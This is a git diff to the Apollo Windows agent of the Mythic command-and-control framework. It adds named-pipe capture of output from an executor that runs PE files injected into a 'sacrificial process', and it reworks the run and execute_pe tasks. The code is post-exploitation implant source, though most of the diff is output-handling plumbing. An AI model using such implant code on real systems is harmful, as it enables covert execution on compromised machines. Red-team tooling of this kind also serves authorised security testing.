diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD index a79d24fb..d9c0f7fc 100644 --- a/Payload_Type/apollo/CHANGELOG.MD +++ b/Payload_Type/apollo/CHANGELOG.MD @@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.2.19] - 2024-11-08 + +### Changed + +- Updated execute_pe code to use named pipes for reading output +- Updated sacrificial process code to read stdout as well for commands like run +- Updated run/shell to read output and exit + ## [v2.2.18] - 2024-10-16 ### Changed diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/StdHandleRedirector.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/StdHandleRedirector.cs new file mode 100644 index 00000000..2b29be1d --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/StdHandleRedirector.cs @@ -0,0 +1,142 @@ +#define NAMED_PIPE +using System; +using System.IO.Pipes; +using System.IO; +using static ExecutePE.Internals.NativeDeclarations; +using System.Threading.Tasks; +using System.Threading; +using ApolloInterop.Classes.Events; + +namespace ExecutePE.Helpers +{ + + class StdHandleRedirector : IDisposable + { + NamedPipeServerStream stdoutServerStream; + NamedPipeClientStream stdoutClientStream; + + FileStream stdoutReader; + + private IntPtr _oldStdout; + private IntPtr _oldStderr; + + private event EventHandler _stdoutHandler; + + private CancellationTokenSource _cts = new CancellationTokenSource(); + private Task _stdoutReadTask; + + public StdHandleRedirector(EventHandler stdoutHandler) + { + _stdoutHandler += stdoutHandler; + + Initialize(); + + _stdoutReadTask = new Task(() => + { + ReadStdoutAsync(); + }); + + + _stdoutReadTask.Start(); + } + + + private void Initialize() + { + + string stdoutGuid = Guid.NewGuid().ToString(); + + stdoutServerStream = new NamedPipeServerStream(stdoutGuid, PipeDirection.InOut, 100, PipeTransmissionMode.Byte, PipeOptions.Asynchronous); + stdoutServerStream.BeginWaitForConnection(new AsyncCallback(stdoutServerStream.EndWaitForConnection), stdoutServerStream); + + stdoutClientStream = new NamedPipeClientStream("127.0.0.1", stdoutGuid, PipeDirection.InOut, PipeOptions.Asynchronous); + stdoutClientStream.Connect(); + + stdoutReader = new FileStream(stdoutServerStream.SafePipeHandle.DangerousGetHandle(), FileAccess.Read); + + _oldStdout = GetStdHandle(StdHandles.Stdout); + _oldStderr = GetStdHandle(StdHandles.Stderr); + + SetStdHandle(StdHandles.Stdout, stdoutClientStream.SafePipeHandle.DangerousGetHandle()); + SetStdHandle(StdHandles.Stderr, stdoutClientStream.SafePipeHandle.DangerousGetHandle()); + } + + private void ReadFileStreamAsync(FileStream stream, EventHandler eventhandler) + { + int szBuf = 4096; + byte[] tmp; + int n; + byte[] newstr; + + do + { + tmp = new byte[szBuf]; + n = 0; + Task t = new Task(() => + { + n = stream.Read(tmp, 0, szBuf); + if (n > 0) + { + newstr = new byte[n]; + Array.Copy(tmp, newstr, n); + return Console.OutputEncoding.GetString(newstr); + } + return null; + }); + t.Start(); + try + { + t.Wait(_cts.Token); + } + catch (OperationCanceledException) + { + break; + } + if (t.Status == TaskStatus.RanToCompletion) + { + eventhandler?.Invoke(this, new StringDataEventArgs(t.Result)); + } + } while (!_cts.IsCancellationRequested); + + do + { + tmp = new byte[szBuf]; + n = stream.Read(tmp, 0, szBuf); + if (n > 0) + { + newstr = new byte[n]; + Array.Copy(tmp, newstr, n); + eventhandler?.Invoke(this, new StringDataEventArgs(Console.OutputEncoding.GetString(newstr))); + } + else + { + break; + } + } while (n > 0); + } + + private void ReadStdoutAsync() + { + ReadFileStreamAsync(stdoutReader, _stdoutHandler); + } + + public void Dispose() + { + SetStdHandle(StdHandles.Stderr, _oldStderr); + SetStdHandle(StdHandles.Stdout, _oldStdout); + + stdoutClientStream.Flush(); + + stdoutClientStream.Close(); + + _cts.Cancel(); + + Task.WaitAll(new Task[] + { + _stdoutReadTask + }); + + stdoutServerStream.Close(); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs index 221264cb..8e96dc42 100644 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs +++ b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs @@ -12,6 +12,11 @@ using ApolloInterop.Classes.Events; using ApolloInterop.Enums.ApolloEnums; using ApolloInterop.Constants; +using ST = System.Threading.Tasks; +using System.IO.Pipes; +using ApolloInterop.Classes.IO; +using System.IO; +using ExecutePE.Helpers; namespace ExecutePE { @@ -19,11 +24,15 @@ internal static class Program { private static JsonSerializer _jsonSerializer = new JsonSerializer(); private static string? _namedPipeName; + private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); private static ConcurrentQueue _recieverQueue = new ConcurrentQueue(); private static AsyncNamedPipeServer? _server; + private static AutoResetEvent _senderEvent = new AutoResetEvent(false); private static AutoResetEvent _receiverEvent = new AutoResetEvent(false); private static ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - + private static CancellationTokenSource _cts = new CancellationTokenSource(); + private static Action? _sendAction; + private static ST.Task? _clientConnectedTask; private static int Main(string[] args) { @@ -32,10 +41,35 @@ private static int Main(string[] args) throw new Exception("No named pipe name given."); } _namedPipeName = args[0]; + _sendAction = (object p) => + { + PipeStream pipe = (PipeStream)p; + + while (pipe.IsConnected && !_cts.IsCancellationRequested) + { + WaitHandle.WaitAny(new WaitHandle[] { + _senderEvent, + _cts.Token.WaitHandle + }); + while (_senderQueue.TryDequeue(out byte[] result)) + { + pipe.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, pipe); + } + } + + while (_senderQueue.TryDequeue(out byte[] message)) + { + pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe); + } + // Wait for all messages to be read by Apollo + pipe.WaitForPipeDrain(); + pipe.Close(); + }; _server = new AsyncNamedPipeServer(_namedPipeName, instances: 1, BUF_OUT: IPC.SEND_SIZE, BUF_IN: IPC.RECV_SIZE); + _server.ConnectionEstablished += OnAsyncConnect; _server.MessageReceived += OnAsyncMessageReceived; - + var return_code = 0; try { if (IntPtr.Size != 8) @@ -44,7 +78,7 @@ private static int Main(string[] args) } _receiverEvent.WaitOne(); - _server.Stop(); + //_server.Stop(); IMythicMessage taskMsg; @@ -59,16 +93,43 @@ private static int Main(string[] args) } ExecutePEIPCMessage peMessage = (ExecutePEIPCMessage)taskMsg; - PERunner.RunPE(peMessage); - return 0; + + using (StdHandleRedirector redir = new StdHandleRedirector(OnBufferWrite)) + { + PERunner.RunPE(peMessage); + } + } catch (Exception exc) { - Console.WriteLine(exc.ToString()); - return exc.HResult; + // Handle any exceptions and try to send the contents back to Mythic + _senderQueue.Enqueue(Encoding.UTF8.GetBytes(exc.ToString())); + _senderEvent.Set(); + return_code = exc.HResult; } - } + _cts.Cancel(); + // Wait for the pipe client comms to finish + while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted) + { + task.Wait(1000); + } + return return_code; + } + private static void OnBufferWrite(object sender, StringDataEventArgs args) + { + if (args.Data != null) + { + _senderQueue.Enqueue(Encoding.UTF8.GetBytes(args.Data)); + _senderEvent.Set(); + } + } + private static void OnAsyncMessageSent(IAsyncResult result) + { + PipeStream pipe = (PipeStream)result.AsyncState; + pipe.EndWrite(result); + pipe.Flush(); + } private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) { IPCChunkedData chunkedData = _jsonSerializer.Deserialize( @@ -99,5 +160,17 @@ private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventA _recieverQueue.Enqueue(msg); _receiverEvent.Set(); } + + public static void OnAsyncConnect(object sender, NamedPipeMessageArgs args) + { + // We only accept one connection at a time, sorry. + if (_clientConnectedTask != null) + { + args.Pipe.Close(); + return; + } + _clientConnectedTask = new ST.Task(_sendAction, args.Pipe); + _clientConnectedTask.Start(); + } } } diff --git a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs index 02e0cd38..b4079885 100644 --- a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs +++ b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs @@ -569,9 +569,9 @@ private void PostStartupInitialize() { Handle = _processInfo.hProcess; PID = (uint)_processInfo.dwProcessId; - //_standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); - //_standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); - //_standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); + _standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); + _standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); + _standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); } private async void WaitForExitAsync() @@ -580,22 +580,24 @@ private async void WaitForExitAsync() { await Task.Factory.StartNew(() => { - //var stdOutTask = GetStdOutAsync(); - //var stdErrTask = GetStdErrAsync(); - //var waitExitForever = new Task(() => - //{ - // _pWaitForSingleObject(Handle, 0xFFFFFFFF); - //}); - //stdOutTask.Start(); - //stdErrTask.Start(); - //waitExitForever.Start(); + var stdOutTask = GetStdOutAsync(); + var stdErrTask = GetStdErrAsync(); + var waitExitForever = new Task(() => + { + _pWaitForSingleObject(Handle, 0xFFFFFFFF); + }); + stdOutTask.Start(); + stdErrTask.Start(); + waitExitForever.Start(); + try { - //waitExitForever.Wait(_cts.Token); - WaitHandle.WaitAny(new WaitHandle[] - { - _cts.Token.WaitHandle, - }); + waitExitForever.Wait(_cts.Token); + // at this point, the process has exited + //WaitHandle.WaitAny(new WaitHandle[] + //{ + // _cts.Token.WaitHandle, + //}); } catch (OperationCanceledException) { @@ -642,6 +644,10 @@ private IEnumerable ReadStream(TextReader stream) if (readTask.IsCompleted) { bytesRead = readTask.Result; + } else + { + bytesRead = 0; + } //bytesRead = stream.Read(buf, 0, szBuffer); diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_pe.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_pe.cs index 171e0341..1eda893d 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_pe.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_pe.cs @@ -22,6 +22,8 @@ using System.Threading.Tasks; using ApolloInterop.Classes.Events; using System.ComponentModel; +using ApolloInterop.Classes.Collections; +using System.Linq; namespace Tasks { @@ -48,50 +50,104 @@ internal struct ExecutePEParameters private AutoResetEvent _senderEvent = new AutoResetEvent(false); private ConcurrentQueue _senderQueue = new ConcurrentQueue(); private JsonSerializer _serializer = new JsonSerializer(); - private ManualResetEvent _procExited = new(false); - private Task? _sendTask; - private Task? _flushTask; - private ConcurrentQueue _outputQueue = new(); + private AutoResetEvent _complete = new AutoResetEvent(false); + private Action _sendAction; + + private Action _flushMessages; + private ThreadSafeList _assemblyOutput = new ThreadSafeList(); + private bool _completed = false; + private System.Threading.Tasks.Task flushTask; public execute_pe(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) { - _flushTask = Task.Factory.StartNew(() => + _sendAction = (object p) => + { + PipeStream ps = (PipeStream)p; + while (ps.IsConnected && !_cancellationToken.IsCancellationRequested) + { + WaitHandle.WaitAny(new WaitHandle[] + { + _senderEvent, + _cancellationToken.Token.WaitHandle + }); + if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) + { + try + { + ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); + } + catch + { + ps.Close(); + _complete.Set(); + return; + } + + } + else if (!ps.IsConnected) + { + ps.Close(); + _complete.Set(); + return; + } + } + ps.Close(); + _complete.Set(); + }; + + _flushMessages = (object p) => { - while (WaitHandle.WaitAny([_cancellationToken.Token.WaitHandle, _procExited], 1000) == WaitHandle.WaitTimeout) + string output = ""; + while (!_cancellationToken.IsCancellationRequested && !_completed) { - string output = ""; - while (_outputQueue.TryDequeue(out string data)) { output += data; } + WaitHandle.WaitAny(new WaitHandle[] + { + _complete, + _cancellationToken.Token.WaitHandle + }, 2000); + output = string.Join("", _assemblyOutput.Flush()); if (!string.IsNullOrEmpty(output)) { _agent.GetTaskManager().AddTaskResponseToQueue( CreateTaskResponse( output, - false - )); + false, + "")); } } - - string finalOutput = ""; - while (_outputQueue.TryDequeue(out string data)) { finalOutput += data; } - if (!string.IsNullOrEmpty(finalOutput)) + while (true) { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - finalOutput, - false - )); + System.Threading.Tasks.Task.Delay(1000).Wait(); // wait 1s + output = string.Join("", _assemblyOutput.Flush()); + if (!string.IsNullOrEmpty(output)) + { + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse( + output, + false, + "")); + } + else + { + DebugHelp.DebugWriteLine($"no longer collecting output"); + return; + } } - }); + + }; } public override void Kill() { + _completed = true; + _complete.Set(); + flushTask.Wait(); _cancellationToken.Cancel(); } public override void Start() { - MythicTaskResponse? resp = null; + MythicTaskResponse resp; Process? proc = null; try { @@ -135,7 +191,7 @@ public override void Start() throw new InvalidOperationException($"Failed to download assembly loader stub (with id: {parameters.LoaderStubId}"); } - ApplicationStartupInfo info = _agent.GetProcessManager().GetStartupInfo(true); + ApplicationStartupInfo info = _agent.GetProcessManager().GetStartupInfo(IntPtr.Size == 8); proc = _agent.GetProcessManager() .NewProcess( @@ -144,9 +200,9 @@ public override void Start() true ) ?? throw new InvalidOperationException($"Process manager failed to create a new process {info.Application}"); - proc.OutputDataReceived += Proc_DataReceived; - proc.ErrorDataReceieved += Proc_DataReceived; - proc.Exit += Proc_Exit; + //proc.OutputDataReceived += Proc_DataReceived; + //proc.ErrorDataReceieved += Proc_DataReceived; + //proc.Exit += Proc_Exit; if (!proc.Start()) { @@ -163,7 +219,7 @@ public override void Start() if (!proc.Inject(exePEPic)) { - throw new InvalidOperationException($"Failed to inject assembly loader into sacrificial process."); + throw new ExecuteAssemblyException($"Failed to inject loader into sacrificial process {info.Application}."); } _agent.GetTaskManager().AddTaskResponseToQueue( @@ -183,11 +239,12 @@ public override void Start() var client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); client.ConnectionEstablished += Client_ConnectionEstablished; + client.MessageReceived += Client_MessageReceived; client.Disconnect += Client_Disconnet; - if (!client.Connect(5000)) + if (!client.Connect(10000)) { - throw new InvalidOperationException($"Failed to connect to named pipe."); + throw new ExecuteAssemblyException($"Injected assembly into sacrificial process: {info.Application}.\n Failed to connect to named pipe: {parameters.PipeName}."); } IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); @@ -197,28 +254,26 @@ public override void Start() } _senderEvent.Set(); - + DebugHelp.DebugWriteLine("waiting for cancellation token in execute_pe.cs"); WaitHandle.WaitAny( [ _cancellationToken.Token.WaitHandle, - _procExited, ]); + DebugHelp.DebugWriteLine("cancellation token activated in execute_pe.cs, returning completed"); + resp = CreateTaskResponse("", true, "completed"); } catch (Exception ex) { - resp = CreateTaskResponse($"{ex.Message}\n\nStack trace: {ex.StackTrace}", true, "error"); + resp = CreateTaskResponse($"Unexpected Error\n{ex.Message}\n\nStack trace: {ex.StackTrace}", true, "error"); _cancellationToken.Cancel(); } - var taskResponse = resp ??= CreateTaskResponse("", true, "completed"); - if (proc is Process procHandle) { if (!procHandle.HasExited) { procHandle.Kill(); - taskResponse.Artifacts = [Artifact.ProcessKill((int)procHandle.PID)]; - procHandle.WaitForExit(); + resp.Artifacts = [Artifact.ProcessKill((int)procHandle.PID)]; } if (procHandle.ExitCode != 0) @@ -227,70 +282,61 @@ public override void Start() && procHandle.GetExitCodeHResult() is int exitCodeHResult) { var errorMessage = new Win32Exception(exitCodeHResult).Message; - taskResponse.UserOutput = $"[*] Process exited with code: 0x{(uint)procHandle.ExitCode:x} - {errorMessage}"; - taskResponse.Status = "error"; + resp.UserOutput += $"\n[*] Process exited with code: 0x{(uint)procHandle.ExitCode:x} - {errorMessage}"; + resp.Status = "error"; } else { - taskResponse.UserOutput = $"[*] Process exited with code: {procHandle.ExitCode} - 0x{(uint)procHandle.ExitCode:x}"; + resp.UserOutput += $"\n[*] Process exited with code: {procHandle.ExitCode} - 0x{(uint)procHandle.ExitCode:x}"; } + } else + { + resp.UserOutput += $"\n[*] Process exited with code: 0x{(uint)procHandle.ExitCode:x}"; } } - Task.WaitAll([ - _flushTask, - _sendTask, - ], 1000); - - _agent.GetTaskManager().AddTaskResponseToQueue(taskResponse); + _agent.GetTaskManager().AddTaskResponseToQueue(resp); } private void Client_Disconnet(object sender, NamedPipeMessageArgs e) { + _completed = true; + _complete.Set(); + flushTask.Wait(); e.Pipe.Close(); + _cancellationToken.Cancel(); } private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) { - _sendTask = Task.Factory.StartNew((state) => - { - PipeStream pipe = (PipeStream)state; - - if (WaitHandle.WaitAny( - [ - _cancellationToken.Token.WaitHandle, - _procExited, - _senderEvent - ]) == 2) - { - while (pipe.IsConnected && _senderQueue.TryDequeue(out byte[] message)) - { - pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe); - } - - pipe.WaitForPipeDrain(); - } - }, e.Pipe); + Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); + flushTask = Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); } public void OnAsyncMessageSent(IAsyncResult result) { PipeStream pipe = (PipeStream)result.AsyncState; - pipe.EndWrite(result); - pipe.Flush(); - } - - private void Proc_DataReceived(object sender, StringDataEventArgs args) - { - if (!string.IsNullOrEmpty(args.Data)) + // Potentially delete this since theoretically the sender Task does everything + if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) { - _outputQueue.Enqueue(args.Data); + try + { + pipe.EndWrite(result); + pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); + } + catch + { + + } + } } - - private void Proc_Exit(object sender, EventArgs e) + private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) { - _procExited.Set(); + IPCData d = e.Data; + string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); + DebugHelp.DebugWriteLine($"adding data to output"); + _assemblyOutput.Add(msg); } } } diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs index cf7c49ca..9a960f14 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs @@ -97,21 +97,25 @@ public override void Start() { Artifact.ProcessCreate((int) proc.PID, app, cmdline) })); - try + while(proc != null && !proc.HasExited && !_cancellationToken.IsCancellationRequested) { - WaitHandle.WaitAny(new WaitHandle[] + try { + WaitHandle.WaitAny(new WaitHandle[] + { _complete, - _cancellationToken.Token.WaitHandle - }); - } - catch (OperationCanceledException) - { + _cancellationToken.Token.WaitHandle, + }, 1000); + } + catch (OperationCanceledException) + { + } } if (proc != null && !proc.HasExited) { proc.Kill(); + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true)); } } } diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 64d65d3b..0a64144e 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -21,7 +21,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "2.2.18" + version = "2.2.19" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] note = """